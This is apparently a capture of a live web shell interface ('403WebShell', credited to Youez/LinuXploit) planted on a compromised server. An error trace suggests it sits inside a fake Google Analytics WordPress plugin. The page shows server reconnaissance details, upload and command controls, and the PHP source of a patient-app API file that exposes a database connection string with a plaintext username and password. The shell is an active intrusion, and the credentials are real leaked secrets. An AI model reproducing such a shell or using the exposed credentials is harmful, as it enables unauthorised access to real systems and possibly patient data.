Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_beta/api/.api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_beta/api/.api/master1_json.php
<?php

/*
-- available generic procedure guides
		status - missing, beta, release
		version (date)
		url of payload.zip for this procedure - json and images
*/

	$db2 = new database_my2('mysql://sii_pai:Y2hvcmU4OWtBcHV0@aries.hostz.org/pkp');
	$db2->Open();


	if (!defined('LOAD_ONLY')) {
		$content = getMasterJson($db2);
		header('Content-type: application/json');
		echo $content;
	}

function getMasterJson($db, $collection = 'main') {
	$filename = '/tmp/collection_' . $collection;
	if (file_exists($filename) && 0) {
		$info = stat($filename);
		$lastupdate = $info['mtime'];
		if ($lastupdate > time() - 600) {
			$content = UpdateFile($db, $collection, $filename);
		} else {
			$content = file_get_contents($filename);
		}
	} else {
		$content = UpdateFile($db, $collection, $filename);
	}
	return $content;
}

function UpdateFile($db, $collection, $filename) {
	$result = GenerateMasterJson($db, $collection);
	$x = json_encode($result);
	file_put_contents($filename, $x);
	chmod($filename, 0666);
	return $x;
}

	function __load(&$ITEM, &$PARAM) {
		$collection = $ITEM['collection'];
		$isListed = $collection != 'unlisted';
		$procedure  = strtolower($ITEM['branch']);
		if (isset($PARAM[$procedure])) {
			if ($isListed) $PARAM[$procedure] = TRUE;
		} else {
			$PARAM[$procedure] = $isListed;
		}
	}

function GenerateMasterJson($db, $collection) {
// get unlisted first, then listed in collection
	$sql = 'select collection,branch from pai_collection where collection in (%s, %s)';		// branch is actually 'procedure code (lowercase)'
	$procedurelist = $db->query($sql, [$collection, 'unlisted'], '__load', []);
	DbErr2($db);

	$download_folder = DOWNLOAD_FOLDER;
	
	$procs = [];
	foreach($procedurelist as $abbr => $isListed) {
		$filename = "{$download_folder}/{$abbr}.json";
		if (file_exists($filename)) {
			$fileinfo = getDocumentInfo($filename);
			$node = [
				'abbr' => $abbr,
				'name' => $fileinfo->short,			// short title
				'title' => $fileinfo->title,		// long title
				'generic' => $isListed ? 1 : 0,		// shown in app when no Procedure Code entered
				'version' => $fileinfo->version,
				'size' => $fileinfo->size,
			];
			$procs[] = $node;
		}
	}
	usort($procs, function($a, $b) {
		return strcasecmp($a['name'], $b['name']);
	});

	$result = [
		'languages' => [
			1 => [
				'name' => 'English',
				'theme' => 'l2r',
			'flag' => '-',
			]
		],
		'snapshot' => time(),			// time this json file was created.  Expires in 24hr.
		'procedures' => $procs,
	];
	return $result;
}


Youez - 2016 - github.com/yon3zu
LinuXploit